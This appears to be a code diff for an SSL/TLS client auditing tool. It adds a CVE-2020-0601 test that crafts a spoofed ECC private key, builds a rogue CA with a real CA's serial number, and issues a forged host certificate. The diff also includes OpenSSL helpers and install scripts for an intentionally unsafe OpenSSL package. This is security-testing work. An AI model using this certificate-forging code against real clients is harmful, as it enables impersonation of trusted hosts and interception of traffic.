123 std::cerr << "can't convert serial to big number" << std::endl;
124 return false;
125 }
126
127 tmpBuf = BN_bn2dec(bn);
128 if (!tmpBuf) {
129 std::cerr << "can't convert big number to string" << std::endl;
130 return false;
131 }
132
133 *outLen = strlen(tmpBuf);
134 if (*outLen >= maxSize) {
135 std::cerr << "not large enough buffer provided" << std::endl;
136 return false;
137 }
138
139 strncpy((char *)out, tmpBuf, maxSize);
140
141 BN_free(bn);
142 X509_free(cert);
143 BIO_free_all(bio);
144
145 return true;
146 }
147
148
149 static int add_ext(X509 *cert, int nid, const char *value)
150 {
151 X509_EXTENSION *ex;
152 X509V3_CTX ctx;
153 X509V3_set_ctx_nodb(&ctx);
154 X509V3_set_ctx(&ctx, cert, cert, NULL, NULL, 0);
155 ex = X509V3_EXT_conf_nid(NULL, &ctx, nid, (char *)value);
156 if (!ex)
157 return 0;
158
159 X509_add_ext(cert, ex, -1);
160 X509_EXTENSION_free(ex);
161 return 1;
162 }
163
164 bool genSignedCaCertWithSerial(const char *caSerial,
165 const char *privKeyData, size_t privKeyLen,
166 unsigned char *out, size_t maxSize, size_t *outLen,
167 bool doSave, const char *certFileName)
168 {
169 EVP_PKEY *pkey = NULL;
170 BIO *bioPrivKey = NULL;
171 BIGNUM *bn = NULL;
172 ASN1_INTEGER *asn1serial = NULL;
173 BIO *bioOut = NULL;
174 BIO *bioFile = NULL;
175 X509 *newCert = NULL;
176 X509_NAME *name = NULL;
177 const EVP_MD *digest = EVP_sha256();
178 X509_REQ *req = NULL;
179
180 // import private key from the provided data
181 bioPrivKey = BIO_new(BIO_s_mem());
182 BIO_write(bioPrivKey, privKeyData, privKeyLen);
183 pkey = PEM_read_bio_PrivateKey(bioPrivKey, NULL, NULL, NULL);
184 if (!pkey) {
185 std::cerr << "can't parse the private key" << std::endl;
186 return false;
187 }
188
189 // create a new certificate request as a template
190 req = X509_REQ_new();
191 X509_REQ_set_version(req, 0L);
192
193 name = X509_REQ_get_subject_name(req);
194 X509_NAME_add_entry_by_txt(name, "C", MBSTRING_ASC, (unsigned char *)"BE", -1, -1, 0);
195 X509_NAME_add_entry_by_txt(name, "ST", MBSTRING_ASC, (unsigned char *)"Brussels", -1, -1, 0);
196 X509_NAME_add_entry_by_txt(name, "O", MBSTRING_ASC, (unsigned char *)"Gremwell", -1, -1, 0);
197
198 X509_REQ_set_pubkey(req, pkey);
199
200 // create a new certificate
201 newCert = X509_new();
202 X509_set_version(newCert, 2);
203
204 // set serial from the original certificate
205 BN_dec2bn(&bn, caSerial);
206 asn1serial = BN_to_ASN1_INTEGER(bn, NULL);
207 if (!asn1serial) {
208 std::cerr << "can't convert the provided serial number" << std::endl;
209 return false;
210 }
211 X509_set_serialNumber(newCert, asn1serial);
212
213 // set issuer and subject as the request's subject
214 X509_set_issuer_name(newCert, X509_REQ_get_subject_name(req));
215 X509_set_subject_name(newCert, X509_REQ_get_subject_name(req));
216
217 // adjust validity time
218 X509_gmtime_adj(X509_get_notBefore(newCert), 0);
219 X509_time_adj_ex(X509_get_notAfter(newCert), 30, 0, NULL);
220
221 // set public key as in the request
222 X509_set_pubkey(newCert, X509_REQ_get_pubkey(req));
223
224 // add various extensions, this should make our certificate CA-capable
225 add_ext(newCert, NID_basic_constraints, "critical,CA:TRUE");
226 add_ext(newCert, NID_subject_key_identifier, "hash");
227 add_ext(newCert, NID_authority_key_identifier, "keyid:always");
228
229 // sign it using the provided key
230 X509_sign(newCert, pkey, digest);
231
232 // save the certificate into memory buffer
233 bioOut = BIO_new(BIO_s_mem());
234 PEM_write_bio_X509(bioOut, newCert);
235 *outLen = BIO_read(bioOut, out, maxSize);
236
237 // save the certificate as a file
238 if (doSave) {
239 bioFile = BIO_new_file(certFileName, "w");
240 PEM_write_bio_X509(bioFile, newCert);
241 }
242
243 EVP_PKEY_free(pkey);
244 X509_free(newCert);
245 X509_REQ_free(req);
246 BN_free(bn);
247 BIO_free_all(bioPrivKey);
248 BIO_free_all(bioOut);
249 BIO_free_all(bioFile);
250
251 return true;
252 }
253
254 static int rand_serial(BIGNUM *b, ASN1_INTEGER *ai)
255 {
256 BIGNUM *btmp;
257 int ret = 0;
258 if (b) {
259 btmp = b;
260 } else {
261 btmp = BN_new();
262 }
263 if (!btmp)
264 return 0;
265 # define SERIAL_RAND_BITS 64
266 if (!BN_pseudo_rand(btmp, SERIAL_RAND_BITS, 0, 0))
267 goto error;
268 if (ai && !BN_to_ASN1_INTEGER(btmp, ai))
269 goto error;
270 ret = 1;
271 error:
272 if (!b)
273 BN_free(btmp);
274 return ret;
275 }
276
277 bool genSignedCertForCN(const char *commonName,
278 const char *caCertData, size_t caCertLen,
279 const char *caPrivKeyData, size_t caPrivKeyLen,
280 unsigned char *outKey, size_t maxSizeKey, size_t *outKeyLen,
281 unsigned char *outCert, size_t maxSizeCert, size_t *outCertLen,
282 bool doSave,
283 const char *certFileName, const char *keyFileName)
284 {
285 BIO *bioCa = NULL;
286 BIO *bioCaKey = NULL;
287 BIO *bioOut = NULL;
288 EC_GROUP *ecgroup = NULL;
289 EC_KEY *eckey = NULL;
290 EVP_PKEY *pkey = NULL;
291 X509 *caCert = NULL;
292 X509 *newcert = NULL;
293 EVP_PKEY *caPrivKey = NULL;
294 X509_NAME *name = NULL;
295 ASN1_INTEGER *aserial = NULL;
296 X509_REQ *certreq = NULL;
297 const EVP_MD *digest = EVP_sha256();
298
299 // create an X509 certificate from the provided data
300 bioCa = BIO_new(BIO_s_mem());
301 BIO_write(bioCa, caCertData, caCertLen);
302 caCert = PEM_read_bio_X509(bioCa, NULL, NULL, NULL);
303 if (!caCert) {
304 std::cerr << "can't parse the provided CA certificate" << std::endl;
305 return false;
306 }
307
308 // create private key from the provided data
309 bioCaKey = BIO_new(BIO_s_mem());
310 BIO_write(bioCaKey, caPrivKeyData, caPrivKeyLen);
311 caPrivKey = PEM_read_bio_PrivateKey(bioCaKey, NULL, NULL, NULL);
312 if (!caPrivKey) {
313 std::cerr << "can't parse the provided private key" << std::endl;
314 return false;
315 }
316
317 // generate a new private key
318 ecgroup = EC_GROUP_new_by_curve_name(NID_X9_62_prime256v1);
319 eckey = EC_KEY_new();
320 EC_GROUP_set_asn1_flag(ecgroup, 1);
321 EC_KEY_set_group(eckey, ecgroup);
322 EC_KEY_generate_key(eckey);
323 pkey = EVP_PKEY_new();
324 EVP_PKEY_assign_EC_KEY(pkey, eckey);
325 if (!pkey) {
326 std::cerr << "can't create a new private key" << std::endl;
327 return false;
328 }
329
330 // create a CSR
331 certreq = X509_REQ_new();
332 X509_REQ_set_version(certreq, 0L);
333
334 name = X509_REQ_get_subject_name(certreq);
335 X509_NAME_add_entry_by_txt(name, "C", MBSTRING_ASC, (unsigned char *)"BE", -1, -1, 0);
336 X509_NAME_add_entry_by_txt(name, "O", MBSTRING_ASC, (unsigned char *)"Gremwell", -1, -1, 0);
337 X509_NAME_add_entry_by_txt(name, "CN", MBSTRING_ASC, (unsigned char *)commonName, -1, -1, 0);
338
339 X509_REQ_set_pubkey(certreq, pkey);
340
341 X509_REQ_sign(certreq, pkey, digest);
342
343 // build a new certificate
344 newcert = X509_new();
345 X509_set_version(newcert, 2);
346
347 // set the certificate serial number here
348 aserial = ASN1_INTEGER_new();
349 rand_serial(NULL, aserial);
350 X509_set_serialNumber(newcert, aserial);
351
352 // set the new certificate subject name from signing request
353 X509_set_subject_name(newcert, X509_REQ_get_subject_name(certreq));
354
355 // set the new certificate issuer name to CA's subject
356 X509_set_issuer_name(newcert, X509_get_subject_name(caCert));
357
358 // set the new certificate public key
359 X509_set_pubkey(newcert, X509_REQ_get_pubkey(certreq));
360
361 // adjust validity time
362 X509_gmtime_adj(X509_get_notBefore(newcert), 0);
363 X509_time_adj_ex(X509_get_notAfter(newcert), 30, 0, NULL);
364
365 // sign the certificate
366 X509_sign(newcert, caPrivKey, digest);
367
368 // save the certificate into memory buffer
369 bioOut = BIO_new(BIO_s_mem());
370 PEM_write_bio_X509(bioOut, newcert);
371 *outCertLen = BIO_read(bioOut, outCert, maxSizeCert);
372 BIO_free_all(bioOut);
373
374 // save the certificate as a file
375 if (doSave) {
376 bioOut = BIO_new_file(certFileName, "w");
377 PEM_write_bio_X509(bioOut, newcert);
378 BIO_free_all(bioOut);
379 }
380
381 // save the key into memory buffer
382 bioOut = BIO_new(BIO_s_mem());
383 PEM_write_bio_PrivateKey(bioOut, pkey, NULL, NULL, 0, NULL, NULL);
384 *outKeyLen = BIO_read(bioOut, outKey, maxSizeKey);
385 BIO_free_all(bioOut);
386
387 // save the key as a file
388 if (doSave) {
389 bioOut = BIO_new_file(keyFileName, "w");
390 PEM_write_bio_PrivateKey(bioOut, pkey, NULL, NULL, 0, NULL, NULL);
391 BIO_free_all(bioOut);
392 }
393
394 BIO_free_all(bioCa);
395 X509_free(caCert);
396 BIO_free_all(bioCaKey);
397 EVP_PKEY_free(caPrivKey);
398 EVP_PKEY_free(pkey);
399 X509_free(newcert);
400 X509_REQ_free(certreq);
401 ASN1_INTEGER_free(aserial);
402
403 return true;
404 }
0 #ifndef OPENSSLHELPER_H
1 #define OPENSSLHELPER_H
2
3 #include <stddef.h>
4
5 bool getCertPublicKey(const char *certData, size_t certLen,
6 unsigned char *out, size_t *outLen,
7 bool pem = true);
8
9 bool pkcs8PrivKeyToPem(const char *privKeyRaw, size_t privKeyRawLen,
10 char *privKeyPem, size_t maxSize, size_t *privKeyPemLen,
11 bool doSave = true, const char *privKeyFileName = NULL);
12
13 bool getCertSerial(const char *certData, size_t certLen,
14 unsigned char *out, size_t maxSize, size_t *outLen,
15 bool pem = true);
16
17 bool genSignedCaCertWithSerial(const char *caSerial,
18 const char *privKeyData, size_t privKeyLen,
19 unsigned char *out, size_t maxSize, size_t *outLen,
20 bool doSave = true, const char *certFileName = NULL);
21
22 bool genSignedCertForCN(const char *commonName,
23 const char *caCertData, size_t caCertLen,
24 const char *caPrivKeyData, size_t caPrivKeyLen,
25 unsigned char *outKey, size_t maxSizeKey, size_t *outKeyLen,
26 unsigned char *outCert, size_t maxSizeCert, size_t *outCertLen,
27 bool doSave = true,
28 const char *certFileName = NULL, const char *keyFileName = NULL);
29
30 #endif // OPENSSLHELPER_H
5555 SslTestCiphersDtls12Exp,
5656 SslTestCiphersDtls12Low,
5757 SslTestCiphersDtls12Med,
58 SslTestCertCve20200601,
5859 SslTestNonexisting,
5960 };
6061
11 #include "ssltests.h"
22 #include "sslcertgen.h"
33 #include "debug.h"
4 #include "openssl-helper.h"
5 #include "cve-2020-0601_poc.h"
46
57 #ifdef UNSAFE_QSSL
68 #include "sslunsafeconfiguration.h"
4951 ADD_SSLTEST_CASE(SslTestCiphersDtls12Exp);
5052 ADD_SSLTEST_CASE(SslTestCiphersDtls12Low);
5153 ADD_SSLTEST_CASE(SslTestCiphersDtls12Med);
54 ADD_SSLTEST_CASE(SslTestCertCve20200601);
5255
5356 case SslTestId::SslTestNonexisting:
5457 break;
408411 {
409412 return setProtoAndMediumCiphers(XSsl::DtlsV1_2);
410413 }
414
415 bool SslTestCertCve20200601::prepare(const SslUserSettings &settings)
416 {
417 XSslCertificate caCert;
418 QByteArray caSN;
419 QByteArray caPubKey;
420 QString targetCN;
421 bool ret = false;
422
423 // if user provided CA cert, use it as a base one
424 QList<XSslCertificate> chain = settings.getUserCaCert();
425 if (chain.size() == 0) {
426 // ok, no CA cert, may be remote server is provided?
427 if (settings.getServerAddr().length() != 0) {
428 // assume that CA will be last in the list
429 caCert = settings.getPeerCertificates().last();
430 // get common name of the host
431 targetCN = settings.getPeerCertificates().first().subjectInfo(XSslCertificate::CommonName).first();
432 }
433 } else {
434 caCert = chain.at(0);
435 }
436
437 if (caCert.isNull()) {
438 VERBOSE("\tCVE-2020-0601: no CA certificate provided");
439 return false;
440 }
441
442 // CA has to be self-signed
443 if (!caCert.isSelfSigned()) {
444 VERBOSE("\tCVE-2020-0601: the provided certificate is not a CA");
445 return false;
446 }
447
448 // check if the certificate is signed using ECC
449 if (caCert.publicKey().algorithm() != XSsl::Ec) {
450 VERBOSE("\tCVE-2020-0601: the provided CA certificate is not signed using ECC");
451 return false;
452 }
453
454 // extract raw public key and serial number of the provided certificate
455 caSN.resize(8192);
456 size_t caSNLen = 0;
457 getCertSerial(caCert.toPem().constData(), caCert.toPem().size(),
458 (unsigned char *)caSN.data(), 8192, &caSNLen,
459 true);
460 caSN.resize(caSNLen);
461
462 caPubKey.resize(8192);
463 size_t caPubKeyLen = 0;
464 ret = getCertPublicKey(caCert.toPem().constData(), caCert.toPem().size(),
465 (unsigned char *)caPubKey.data(), &caPubKeyLen,
466 true);
467 if (!ret) {
468 VERBOSE("\tCVE-2020-0601: failed to extract public key");
469 return false;
470 }
471
472 caPubKey.resize(caPubKeyLen);
473
474 // decide what target common name to use
475 if (settings.getUserCN().size() > 0) {
476 targetCN = settings.getUserCN();
477 }
478 if (targetCN.size() == 0) {
479 targetCN = "www.example.com";
480 }
481
482 // input data is ready now we can craft evil certificates
483
484 // craft evil private key which generates the desired public key
485 char evilPrivKeyPKCS8[16384];
486 size_t evilPrivKeyPKCS8Len;
487 ret = craftEvilPrivKey(caPubKey.constData(), caPubKey.size(),
488 evilPrivKeyPKCS8, sizeof(evilPrivKeyPKCS8), &evilPrivKeyPKCS8Len,
489 false, NULL);
490 if (!ret) {
491 VERBOSE("\tCVE-2020-0601: failed to craft evil private key");
492 return false;
493 }
494
495 // convert this private key to PEM format
496 char evilPrivKeyPem[16384];
497 size_t evilPrivKeyPemLen;
498 ret = pkcs8PrivKeyToPem(evilPrivKeyPKCS8, evilPrivKeyPKCS8Len,
499 evilPrivKeyPem, sizeof(evilPrivKeyPem), &evilPrivKeyPemLen,
500 false, NULL);
501 if (!ret) {
502 VERBOSE("\tCVE-2020-0601: failed to convert evil private key to PEM");
503 return false;
504 }
505
506 // create our rogue CA with the same serial number as the original one
507 // sign it with evil private key
508 unsigned char evilCaCert[16384];
509 size_t evilCaCertLen;
510 ret = genSignedCaCertWithSerial(caSN.constData(),
511 (const char *)evilPrivKeyPem, evilPrivKeyPemLen,
512 evilCaCert, sizeof(evilCaCert), &evilCaCertLen,
513 false, NULL);
514 if (!ret) {
515 VERBOSE("\tCVE-2020-0601: failed to sign custom CA");
516 return false;
517 }
518
519 // generate a certificate for the provided common name which is signed by the evil CA
520 unsigned char hostCert[8192];
521 size_t hostCertLen;
522 unsigned char hostKey[8192];
523 size_t hostKeyLen;
524 ret = genSignedCertForCN(targetCN.toLocal8Bit().constData(),
525 (const char *)evilCaCert, evilCaCertLen,
526 (const char *)evilPrivKeyPem, evilPrivKeyPemLen,
527 hostKey, sizeof(hostKey), &hostKeyLen,
528 hostCert, sizeof(hostCert), &hostCertLen,
529 false, NULL, NULL);
530 if (!ret) {
531 VERBOSE("\tCVE-2020-0601: failed to generate certificate for target common name");
532 return false;
533 }
534
535 // we have certificates and keys in raw format, convert them to Qt types
536 XSslCertificate evilCaCertQt(QByteArray::fromRawData((const char *)evilCaCert, evilCaCertLen),
537 XSsl::Pem);
538 XSslCertificate hostCertQt(QByteArray::fromRawData((const char *)hostCert, hostCertLen),
539 XSsl::Pem);
540 XSslKey hostKeyQt(QByteArray::fromRawData((const char *)hostKey, hostKeyLen),
541 XSsl::Ec, XSsl::Pem, XSsl::PrivateKey);
542
543 if (evilCaCertQt.isNull() || hostCertQt.isNull() || hostKeyQt.isNull()) {
544 VERBOSE("\tCVE-2020-0601: failed to switch to Qt types");
545 return false;
546 }
547
548 // finally, fill class members with crafted certificates
549 m_localCertsChain << hostCertQt;
550 m_localCertsChain << evilCaCertQt; // providing CA is obligatory
551 m_privateKey = hostKeyQt;
552
553 m_sslCiphers = XSslConfiguration::supportedCiphers();
554 // DTLS mode requires specific protocol to be set
555 if (settings.getUseDtls()) {
556 m_sslProtocol = XSsl::DtlsV1_0OrLater;
557 } else {
558 m_sslProtocol = XSsl::AnyProtocol;
559 }
560
561 return true;
562 }
370370
371371 };
372372
373 class SslTestCertCve20200601 : public SslCertificatesTest
374 {
375 public:
376 SslTestCertCve20200601() : SslCertificatesTest() {
377 m_id = SslTestId::SslTestCertCve20200601;
378 m_name = "CVE-2020-0601 ECC cert trust";
379 m_description = "test for trusting certificate signed by private key with custom curve";
380 }
381 bool prepare(const SslUserSettings &settings);
382
383 };
384
373385 #endif // SSLTESTS_H
148148 ok = settings->setUserCaCertPath(parser.value(userCaCertOption));
149149 if (!ok)
150150 exit(-1);
151
152 if (!parser.isSet(userCaKeyOption)) {
153 RED("custom private key for CA is not specified, exiting");
154 exit(-1);
155 }
156151 }
157152 if (parser.isSet(userCaKeyOption)) {
158153 ok = settings->setUserCaKeyPath(parser.value(userCaKeyOption));
00 #!/bin/sh
11
2 apt-get install -y cmake qtbase5-dev g++ libgnutls28-dev libssl1.0-dev
2 apt-get install -y cmake qtbase5-dev g++ libgnutls28-dev libssl1.0-dev libcrypto++-dev
00 #!/bin/sh
11
2 apt-get install -y cmake qtbase5-dev libgnutls-dev libssl-dev
2 apt-get install -y cmake qtbase5-dev libgnutls-dev libssl-dev libcrypto++-dev
00 #!/bin/sh
11
2 wget https://github.com/gremwell/unsafeopenssl-pkg-debian/releases/download/1.0.2i-2/libunsafessl-dev_1.0.2i-2_ubuntu16.04_amd64.deb
3 wget https://github.com/gremwell/unsafeopenssl-pkg-debian/releases/download/1.0.2i-2/libunsafessl1.0.2_1.0.2i-2_ubuntu16.04_amd64.deb
4 wget https://github.com/gremwell/unsafeopenssl-pkg-debian/releases/download/1.0.2i-2/openssl-unsafe_1.0.2i-2_ubuntu16.04_amd64.deb
5 apt-get install -y ./libunsafessl1.0.2_1.0.2i-2_ubuntu16.04_amd64.deb ./libunsafessl-dev_1.0.2i-2_ubuntu16.04_amd64.deb ./openssl-unsafe_1.0.2i-2_ubuntu16.04_amd64.deb
6 rm ./libunsafessl1.0.2_1.0.2i-2_ubuntu16.04_amd64.deb ./libunsafessl-dev_1.0.2i-2_ubuntu16.04_amd64.deb ./openssl-unsafe_1.0.2i-2_ubuntu16.04_amd64.deb
2 add-apt-repository ppa:gremwell/qsslcaudit
3 apt-get update
4 apt-get install -y libunsafessl-dev openssl-unsafe
75
8 apt-get install -y cmake qtbase5-dev g++ libgnutls28-dev
6 apt-get install -y cmake qtbase5-dev g++ libgnutls28-dev libcrypto++-dev
00 #!/bin/sh
11
2 wget https://github.com/gremwell/unsafeopenssl-pkg-debian/releases/download/1.0.2i-2/libunsafessl-dev_1.0.2i-2_ubuntu16.04_amd64.deb
3 wget https://github.com/gremwell/unsafeopenssl-pkg-debian/releases/download/1.0.2i-2/libunsafessl1.0.2_1.0.2i-2_ubuntu16.04_amd64.deb
4 wget https://github.com/gremwell/unsafeopenssl-pkg-debian/releases/download/1.0.2i-2/openssl-unsafe_1.0.2i-2_ubuntu16.04_amd64.deb
5 apt-get install -y ./libunsafessl1.0.2_1.0.2i-2_ubuntu16.04_amd64.deb ./libunsafessl-dev_1.0.2i-2_ubuntu16.04_amd64.deb ./openssl-unsafe_1.0.2i-2_ubuntu16.04_amd64.deb
6 rm ./libunsafessl1.0.2_1.0.2i-2_ubuntu16.04_amd64.deb ./libunsafessl-dev_1.0.2i-2_ubuntu16.04_amd64.deb ./openssl-unsafe_1.0.2i-2_ubuntu16.04_amd64.deb
2 add-apt-repository ppa:gremwell/qsslcaudit
3 apt-get update
4 apt-get install -y libunsafessl-dev openssl-unsafe
75
8 apt-get install -y cmake qtbase5-dev libgnutls-dev
6 apt-get install -y cmake qtbase5-dev libgnutls-dev libcrypto++-dev